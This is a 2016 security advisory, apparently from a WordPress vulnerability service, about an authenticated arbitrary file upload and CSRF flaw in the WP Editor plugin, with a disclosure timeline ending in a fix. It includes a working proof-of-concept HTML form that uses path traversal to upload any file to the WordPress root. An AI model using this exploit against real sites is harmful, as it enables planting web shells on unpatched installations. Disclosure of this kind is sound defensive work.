12 May

Authenticated Arbitrary File Upload Vulnerability in WP Editor

To stay on top of vulnerabilities in WordPress plugin for you, we monitor a number of different sources. One of them is hacking attempts on our websites, which mostly identifies fairly old vulnerabilities that we haven’t yet included in our data. In the case of a one vulnerability from back in 2012 we discovered that the vulnerability had never been fixed and was still in the Plugin Directory. Yesterday that monitoring lead us to seeing evidence that the WP Editor plugin is being exploited and finding a couple of serious vulnerabilities that could be what they are exploiting.

We have started seeing requests for the file /wp-content/plugins/wp-editor/js/wpeditor.js, which based on the files being requested alongside it, looks like the request are to check to see if the plugin is in use and if so then the hacker would likely try to exploit it. Since we don’t have the plugin installed the exploitation attempt didn’t happen, so we don’t know what they are trying to exploit. So then after looking for any public reports of vulnerabilities in the plugin we starting to reviewing the plugin and quickly found a couple of serious security vulnerabilities in the current version of the plugin

The first vulnerability is that any logged in user can upload arbitrary files to the website since there is no check as to the user capabilities when doing that. There is also no protection against cross-site request forgery (CSRF), so it is also susceptible to that.

We notified the Plugin Directory shortly before 5PM MDT yesterday about the appearance hacking attempts and the vulnerabilities we had found. Despite the serious nature, as now we haven’t received any response from them and the plugin is still available in the Plugin Directory, which indicates that they have not processed our message because once that is done they will usually remove the plugin pending a fix.

The plugin hasn’t been updated in 8 months, so it isn’t clear if it still being supported by the developer anymore, but we are in the process of trying to notifying them.

In the meantime we have added the vulnerabilities to our service’s data, so customers will start getting notified when the next check runs. We have also added it to the data in our companion Plugin Vulnerabilities plugin, so even you are not using our service yet you can get alerted to vulnerability.

Proof of Concept

The following proof of concept will upload the chosen file to the root directory of the WordPress installation, when logged in as a subscriber level or higher user.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload_files" />
<input type="hidden" name="current_plugin_root" value="../" />
<input type="hidden" name="directory" value="" />
<input type="file" name="file-0" />
<input type="submit" value="Submit" />


5/11/2016- WordPress.org Plugin Directory notified.
5/12/2016 – Developer notified.
5/13/2016 – Version 1.2.6 released, which fixes vulnerabilities.

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